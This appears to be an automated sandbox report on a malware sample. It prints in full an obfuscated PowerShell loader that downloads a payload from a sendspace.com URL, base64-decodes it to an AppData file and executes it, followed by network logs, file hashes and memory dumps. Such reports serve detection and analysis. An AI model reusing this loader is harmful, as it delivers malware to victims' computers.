;$Skraaremmens=$Parapod[$Nonseverities];}$Genindkalder112=320122;$Uncharge=28893;Udkrte (Circuted ' issp$Pos.kg.affel,obotoCerclb.edfra AnsglSemiy:L.jrsFT.steu RifalArbejdinde,eP,ckpnSpaltdNon,eeKuldkn Kl pdForbre Angr t kst=Echin HoundGPr,toe .alutBrneh-,ekreC downoaerugn Beg t MulleLedevn.ndeftOutdr Bi tr$ oreiD.andsumineasRe.artGardipAfstroCymogi DolenImdegtGangl ');Udkrte (Circuted 'H.ppe$depotgPolyplServooretspbChi,eaSuperlPre,c:NulstF DagliAftenrP,oteeProseoPostpgchrist O,eryOutg vPo,nse adinsTekst Pinda=B vaa Virke[Rya,bSOutp,yVegecsSwee tWe.daeOpaq m ,tom.MakinC Ec,ao RelenHalv vKar.oePtil.r WashtIndfr]Speck:Vedta: AflyFSsterrGg.ero Un,imBirtiBCarolaCombrsbldgreSc,og6Tempo4HjernSAdrestSt.phrGevini,uditnplantgBurge(nonpe$ Enr FreglouK.akslPro ldSto.ae.ullanWitnedarbejeKludenCrossdRetsbeUnder)Rose, ');Udkrte (Circuted 'Solip$SharpgMo,snlS.ottoBrutabBaggraSpa el Futi: utstEGrosgl IndfaKettipan.elhBr etuPetalrSnailu jurisEn,la1 Delb5 Te,h .ncon=Viges Aktio[ GnidS Gal,yC tassEm,nctTenoneSynecm syba..ebatTB,rdfes,nsfxGr.cetEurot.RhumbEGldsbnScarrcOver,oBesondtaxpaiUd,honTraadgSides] Vand:Sikah:AllopARee.pSRovetC ScioISorteITllel..bensGOnst.eDavietSwagbSBurr,t RegnrArmodirubrinFormegMaan.(Confi$NonetFTiltaiU taprTrinneAgroso Urvrg Kodet FrpeyBarnyv Lo,geEr.essArres)S rpe ');Udkrte (Circuted 'Fusen$Nanocg lectl.rlovoSt.llb.ivasaByplalDisha: BobbEEksekk SadlsoverwiBeshrlInv,clUrrl,eEndaddNatioe Pr,er Stil2,anta3Inbur0Tress=Udfrd$HundrEPiratlFokusa SpecpSlvfahTilkauTriasr HarpuAttessNiflh1Godfr5P.ilo.ChaetsUneffuBushwbSu,ersstegatSloverDyrekiSkruenRekomgSorti(Vindh$ BortGunruseNomadnReadmiUnme nPlatid S.amkBordea.spirlSer edKnytte Stilr Stil1Mammi1Valgm2 Blep, N.dd$ AnalUMammanPudiac sarch Fo.saAbiosr RetsgT.uemeWaist)Lung. ');Udkrte $Eksilleder230;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klavers.Uen && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Sanguinarily='Sub';$Sanguinarily+='strin';$Colour = 1;$Sanguinarily+='g';Function Circuted($Kropsvisiteret26){$Blazer=$Kropsvisiteret26.Length-$Colour;For($Tvrfljte=5;$Tvrfljte -lt $Blazer;$Tvrfljte+=6){$Intraperitoneally+=$Kropsvisiteret26.$Sanguinarily.Invoke( $Tvrfljte, $Colour);}$Intraperitoneally;}function Udkrte($Udmatningens){ . ($Polarizer) ($Udmatningens);}$Ontological=Circuted 'AlenlMGynobo AnimzCopiei Dekll UnbrlKaramaD,esk/ Abso5 edrr.C.apt0Clemp Notc(Dru,nWunifoiNailenPr.madCo.seoUnbuiwSheepsfrste MetalNUnderTL ndq Prede1Scrip0Postt.Penty0 dra.;Gidsl Spnd,WP ddii.rembnBa ng6 ,ram4B roc;Rkebi RaasxTermt6 D.ej4 Kn.r;Ringt LassorDiscjvCa.bi:archt1Bicen2Aftgt1O,tol. Sile0Sulfo)Diver Prof.G,fglaePen,acFalk,k Fi,hoNethi/Admir2Encin0Griff1 Tram0Cytis0M,tro1lufti0Kben 1Mech, ForblFDr.gaigkantrD,mmee Forrf gelsoSlag,x Sia./Lande1 Un i2Denot1Baand. E eb0 Sost ';$Pullouts=Circuted ' Eva,U,epousLu tleNonderMange- MellACamorgbkarveTo.fun UnpotZeppe ';$Skraaremmens=Circuted 'Gim ehLusketSidettSamlepcalcas Bo.i: Circ/Lseti/TruthwbackfwRegiswUbesl. karisDec neineq nCo kadBerylsRiotep lichaadaptcJenh,eGlott.BademcA osto .aktmD.ght/HydropDecimrH,spioDamas/Homeod.aretlXerot/ DesiiVi li4Gjord1 FreeaLupan7 alvf6 Loes ';$Spisestel=Circuted 'Bolte>Cubin ';$Polarizer=Circuted 'S irriFlykkeRa,idxKonst ';$Spiegeleisen='Decephalize';$Thermoremanent12 = Circuted ' Hecte Frejc,vigehPrem,oUdtry Udska%Klemea FolkpNogggpAgnindgvenda.odsetRegloaarchi%Krimi\uv.asKunivelNonada mishv PalbeTal,yrOmop sGassl.B,dstUAposteDyppen Eino .verl& Sprj&Te,no Scane Kongc ModehPollaojejun Varu tWindi ';Udkrte (Circuted 'Nonsy$IndisgFeriel,anneoUgerabOutlaaAnti l,rist:WillyNMytolo,rocenun ersStilitBraktuUnsh d FascySurli=Kdest(BeforcProtom OverdVolde Flers/Unde.cDisin Whabb$ G,amTHjemmh araleScarvrSe uemUsnoboKardirRoeddePeri,mHenhraI,difnLurefegerman .omet ,lle1Over 2Sub.e) ,und ');Udkrte (Circuted 'averr$Luf,egFaerdlTaphvoBru.sbArchpa Flytl Diss:TurnePTautoaResigrGorinaSel.kpNonaroNrmeldRev,l=Co.on$AkkusSSuperk C enrActedaOplseaAf,kir ilmeDi tam gattm T.leeLrlinnSk,bssPopul. fyris U depsnedkl.alkiiAutontSofav( Baro$EnklaSHygroppiqueiheav,sMeteoeOpbudsHals tBie.dekamm.lDydsk).orsv ');$Skraaremmens=$Parapod[0];$Kriminalromans= (Circuted 'Orgel$Zonopgun,erlUdstoobrdskbBostra V,sslUnbal:PositAAabnin.airbdVect,eUmedgfPagi.aP ohidVandleFlagsrArgene CactnRhota=CykelNEppieeDalr wNitzh-UdradO SletbPaaklj,oacceRabarcSlumptSmurr DiplaSUncolyPil.rsCattatB.sageEjendmF rda. SvigNSprngeBeslutZapti. Co,dWHusbaegan,tbHypocCTopollOestriThumbe Bi on Skldt');$Kriminalromans+=$Nonstudy[1];Udkrte ($Kriminalromans);Udkrte (Circuted 'Fiksp$U,derAOmstinHampsdhyposeI iqufOlo,ea Rectd,rinteStudirUndsae.zarinAlphi. UtilHSaccaeHesseaDiaspd SbireFilmar PttssSemec[Tknin$ VirkP,pdrauBestilEmbralExpeloskraluOpsamtGamblsCorru] Mill=gente$ComorO MidtnUfordtspecio Ef el C lio Fodgg.valmi Uns.cIstanaKaravlSlag. ');$Amenable=Circuted ' Unio$ Fa.rASkr,lnRetoudPottieKassefInstia IndudNap.deC,olurOverfeUncomnFlomm.ProduDRejseoSpanlw,lgtsnUdkoml T.nko ,luka HenvdSysteFSkrmdi.ortel IllaeParak(Mis,i$B gstSkilomkTricorNon haSkovraDuod.rB ntweJussim.eordmComp eGigannPh,nes Prog,Un,na$ a byDUncapu Sanks onstAfskapHrg.roTra,diHastin EpiztRefec)Adroi ';$Dustpoint=$Nonstudy[0];Udkrte (Circuted 'S.efn$UdsttgBeskyl elloAnginbStyreaRespelNonco:ScintPKomitaK bler,ontra Tricm S akySikahoPa,igcExplalNonfeo Thern.laddu BlomsRa.ad=dand.(,mbelTSt.inef,rdjs InfitGummi-CheckP SamsaExcretmandahInd,s Ubeti$DewfaDWarbluAfmytsForeltBarrip AngioC.loriFoaminResult Deej)Truss ');while (!$Paramyoclonus) {Udkrte (Circuted 'Steth$ F emgst ndl ValeoGra,sb Se.iaMemorl phea:OpirrH GashoTach.vS.rteeSvierd FounsH emma Fedel Intea Hks.tReguleFod,orSt.lt=lania$ Ageit MegerScyphu .ilbeTrout ') ;Udkrte $Amenable;Udkrte (Circuted ' PorpSRandotLimo,aZunisrB.nkrtMun.k-GypteST.anqlP efoeBactee Forhpmarku Culte4Oktan ');Udkrte (Circuted 'Adiab$ .anggSphe l soljo L.ncbWistiaSpinelS,mis:Bath PUac ea Ti srMiddaa.lassmLine,yHyperoDemobcSau,olForbroVrgelnG.dlsugenansStill=For.m(DuritT Te,neDemarsSelectLege.-AnlgsPRinjiaTraittLandih S lf A,ipo$ColliDPaxamufinansR,sentMust,p Rituo OlieiGaussnTyp gtAnthr)Alkoh ') ;Udkrte (Circuted 'Jubel$CubbygUdflelSmirkoSc,osbVocifaAsexul ,roc:Sa gsN .gndoTrternFinlasHi,lgeOpmrkvTroileSc.nsrsan,ei AccetCo.yni InsueUtjspsSocia=Edema$ BrysgHydr l S,ikoBeamab Pogoade,telSabat: VaabDBill,y,ekstr vabe Fi.drParaliPr,pogRodese LnfosNarci+ Bara+ Pric%.syls$H,droPDalmaaIdrtsrMisw,asr.espcom,yoKlejnd uldb.osteicDentaoReng.u St un Opgrt esk ') ;$Skraaremmens=$Parapod[$Nonseverities];}$Genindkalder112=320122;$Uncharge=28893;Udkrte (Circuted ' issp$Pos.kg.affel,obotoCerclb.edfra AnsglSemiy:L.jrsFT.steu RifalArbejdinde,eP,ckpnSpaltdNon,eeKuldkn Kl pdForbre Angr t kst=Echin HoundGPr,toe .alutBrneh-,ekreC downoaerugn Beg t MulleLedevn.ndeftOutdr Bi tr$ oreiD.andsumineasRe.artGardipAfstroCymogi DolenImdegtGangl ');Udkrte (Circuted 'H.ppe$depotgPolyplServooretspbChi,eaSuperlPre,c:NulstF DagliAftenrP,oteeProseoPostpgchrist O,eryOutg vPo,nse adinsTekst Pinda=B vaa Virke[Rya,bSOutp,yVegecsSwee tWe.daeOpaq m ,tom.MakinC Ec,ao RelenHalv vKar.oePtil.r WashtIndfr]Speck:Vedta: AflyFSsterrGg.ero Un,imBirtiBCarolaCombrsbldgreSc,og6Tempo4HjernSAdrestSt.phrGevini,uditnplantgBurge(nonpe$ Enr FreglouK.akslPro ldSto.ae.ullanWitnedarbejeKludenCrossdRetsbeUnder)Rose, ');Udkrte (Circuted 'Solip$SharpgMo,snlS.ottoBrutabBaggraSpa el Futi: utstEGrosgl IndfaKettipan.elhBr etuPetalrSnailu jurisEn,la1 Delb5 Te,h .ncon=Viges Aktio[ GnidS Gal,yC tassEm,nctTenoneSynecm syba..ebatTB,rdfes,nsfxGr.cetEurot.RhumbEGldsbnScarrcOver,oBesondtaxpaiUd,honTraadgSides] Vand:Sikah:AllopARee.pSRovetC ScioISorteITllel..bensGOnst.eDavietSwagbSBurr,t RegnrArmodirubrinFormegMaan.(Confi$NonetFTiltaiU taprTrinneAgroso Urvrg Kodet FrpeyBarnyv Lo,geEr.essArres)S rpe ');Udkrte (Circuted 'Fusen$Nanocg lectl.rlovoSt.llb.ivasaByplalDisha: BobbEEksekk SadlsoverwiBeshrlInv,clUrrl,eEndaddNatioe Pr,er Stil2,anta3Inbur0Tress=Udfrd$HundrEPiratlFokusa SpecpSlvfahTilkauTriasr HarpuAttessNiflh1Godfr5P.ilo.ChaetsUneffuBushwbSu,ersstegatSloverDyrekiSkruenRekomgSorti(Vindh$ BortGunruseNomadnReadmiUnme nPlatid S.amkBordea.spirlSer edKnytte Stilr Stil1Mammi1Valgm2 Blep, N.dd$ AnalUMammanPudiac sarch Fo.saAbiosr RetsgT.uemeWaist)Lung. ');Udkrte $Eksilleder230;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klavers.Uen && echo t"

C:\Program Files (x86)\windows mail\wab.exe

"C:\Program Files (x86)\windows mail\wab.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 138.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 www.sendspace.com udp
US 172.67.170.105:443 www.sendspace.com tcp
US 8.8.8.8:53 fs03n2.sendspace.com udp
CA 69.31.136.17:443 fs03n2.sendspace.com tcp
US 8.8.8.8:53 105.170.67.172.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 crt.sectigo.com udp
US 104.18.38.233:80 crt.sectigo.com tcp
US 8.8.8.8:53 17.136.31.69.in-addr.arpa udp
US 8.8.8.8:53 233.38.18.104.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
BE 88.221.83.208:443 www.bing.com tcp
US 8.8.8.8:53 208.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 172.67.170.105:443 www.sendspace.com tcp
US 8.8.8.8:53 fs13n5.sendspace.com udp
CA 69.31.136.57:443 fs13n5.sendspace.com tcp
US 8.8.8.8:53 67.169.217.172.in-addr.arpa udp
US 8.8.8.8:53 57.136.31.69.in-addr.arpa udp
US 8.8.8.8:53 23.149.64.172.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 32.251.17.2.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 28.173.189.20.in-addr.arpa udp

Files

memory/2800-2-0x00007FFA4C3A3000-0x00007FFA4C3A5000-memory.dmp

memory/2800-3-0x000001D7BFEF0000-0x000001D7BFF12000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_poc1k0an.tvk.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2800-13-0x00007FFA4C3A0000-0x00007FFA4CE61000-memory.dmp

memory/2800-14-0x00007FFA4C3A0000-0x00007FFA4CE61000-memory.dmp

memory/4180-23-0x000000007543E000-0x000000007543F000-memory.dmp

memory/4180-24-0x0000000004750000-0x0000000004786000-memory.dmp

memory/4180-25-0x0000000075430000-0x0000000075BE0000-memory.dmp

memory/4180-26-0x0000000004F70000-0x0000000005598000-memory.dmp

memory/4180-27-0x0000000075430000-0x0000000075BE0000-memory.dmp

memory/4180-28-0x0000000004E40000-0x0000000004E62000-memory.dmp

memory/4180-30-0x00000000055A0000-0x0000000005606000-memory.dmp

memory/4180-29-0x0000000004EE0000-0x0000000004F46000-memory.dmp

memory/4180-40-0x00000000056D0000-0x0000000005A24000-memory.dmp

memory/4180-41-0x0000000005CE0000-0x0000000005CFE000-memory.dmp

memory/4180-42-0x0000000005D20000-0x0000000005D6C000-memory.dmp

memory/4180-43-0x0000000007530000-0x0000000007BAA000-memory.dmp

memory/4180-44-0x00000000062A0000-0x00000000062BA000-memory.dmp

memory/4180-45-0x0000000006FB0000-0x0000000007046000-memory.dmp

memory/4180-46-0x0000000006F40000-0x0000000006F62000-memory.dmp

memory/4180-47-0x0000000008160000-0x0000000008704000-memory.dmp

C:\Users\Admin\AppData\Roaming\Klavers.Uen

MD5 595a09748ec54d46958b4fc48e232e43
SHA1 a1c64c8815eda873408f9e6d51519f46ccd9b6b0
SHA256 c5179f092dcc764d1869e5fdb1a667032c0ef1a6c9de4b7d1ad30126b2c47a65
SHA512 83da041c266fb9286a2226a04740310e3cafadcca968b4dfac1494db111ac3f54580763af6e4c1a128cbb4363197dd85d26895c1dddb4bdb46daac151fc5038f

memory/4180-49-0x0000000008710000-0x000000000ABDE000-memory.dmp

memory/2800-50-0x00007FFA4C3A3000-0x00007FFA4C3A5000-memory.dmp

memory/2800-51-0x00007FFA4C3A0000-0x00007FFA4CE61000-memory.dmp

memory/4180-59-0x000000007543E000-0x000000007543F000-memory.dmp

memory/4180-60-0x0000000075430000-0x0000000075BE0000-memory.dmp

memory/444-70-0x0000000001000000-0x0000000002254000-memory.dmp

memory/4180-74-0x0000000075430000-0x0000000075BE0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3582-490\wab.exe

MD5 72ad21d191b58842334d32a381ea7fa8
SHA1 f7375f09855a7bce9f7a152c75e84aac69caf828
SHA256 87abfab7bf5e213fc9e63c7fa39edfa6452eb5f7fdd668cd370d9cf4ea3ef729
SHA512 78662231c7ce0d03374b69dfd32614786dc5bf0c8ad2baadf2143f42bb03bd378632cc457dc414aa7e3d284674cc9151c39f90d71d9a5dd15dba689b2283386d

memory/2800-86-0x00007FFA4C3A0000-0x00007FFA4CE61000-memory.dmp

C:\PROGRA~2\Adobe\ACROBA~1\Reader\ACROTE~1.EXE

MD5 0a1704e48ff603332eaac935608d3cf1
SHA1 e138d3d481c054a89b85312bfddd2f8a0baf8c1b
SHA256 d9e02af7b220e25f385c71e0a3be4b83203e0673cc1e56fcf02d3e1f0f3774b6
SHA512 7cec7a7c5542e66e347381e9ab5572b2231ab11dac61d9a76bcb7cbd4bd1e86f8169e7840c2e69f93e686cc1834e52cd6b47817b760ea618139a3de64076314f

memory/444-174-0x0000000001000000-0x0000000002254000-memory.dmp

memory/444-175-0x0000000001000000-0x0000000002254000-memory.dmp

memory/444-176-0x0000000001000000-0x0000000002254000-memory.dmp

memory/444-178-0x0000000001000000-0x0000000002254000-memory.dmp